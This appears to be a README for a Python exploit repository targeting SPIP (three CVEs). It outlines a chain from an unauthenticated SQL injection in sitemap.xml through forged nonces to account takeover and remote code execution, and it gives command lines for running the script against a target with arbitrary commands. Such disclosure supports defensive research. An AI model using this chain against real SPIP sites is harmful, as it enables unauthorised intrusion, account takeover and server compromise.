ambionics/spip-exploitsPython exploit chain for SPIP CVEs 2026-72708/72709/72710, chaining unauthenticated SQL injection to account takeover and remote code execution.
Exploit for CVE-2026-72708, CVE-2026-72709 and CVE-2026-72710 discovered by Franck Chevalier (Wayko)
For a complete technical deep dive, read the full article on Lexfo's blog.
This repository is provided for research and defensive security purposes only. The author assumes no responsibility for misuse of this information.
The entry point is a SQL injection in the public sitemap.xml page to leak alea_ephemere.
With that secret, valid nonces can be forged for anonymous actions.
Two actions lead to RCE from there:
action=editer_auteur account takeover, then RCE from the private area.action=editer_objet mass assignment, to write a row in the spip_jobs queue, then execute it through action=cron.python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 casse-spip.py --help
.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000
.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000 --ato -i 1 -p "Casse-Spip!2026"
Before overwriting, --ato dumps the target's login and current pass hash
(via the SQLi) so you can put it back afterwards with --restore-hash:
.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000 --restore-hash '$2y$12$...' -i 1
.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000 --exploit -c "id"
The file will be written to IMG/casse-spip_<token>.html.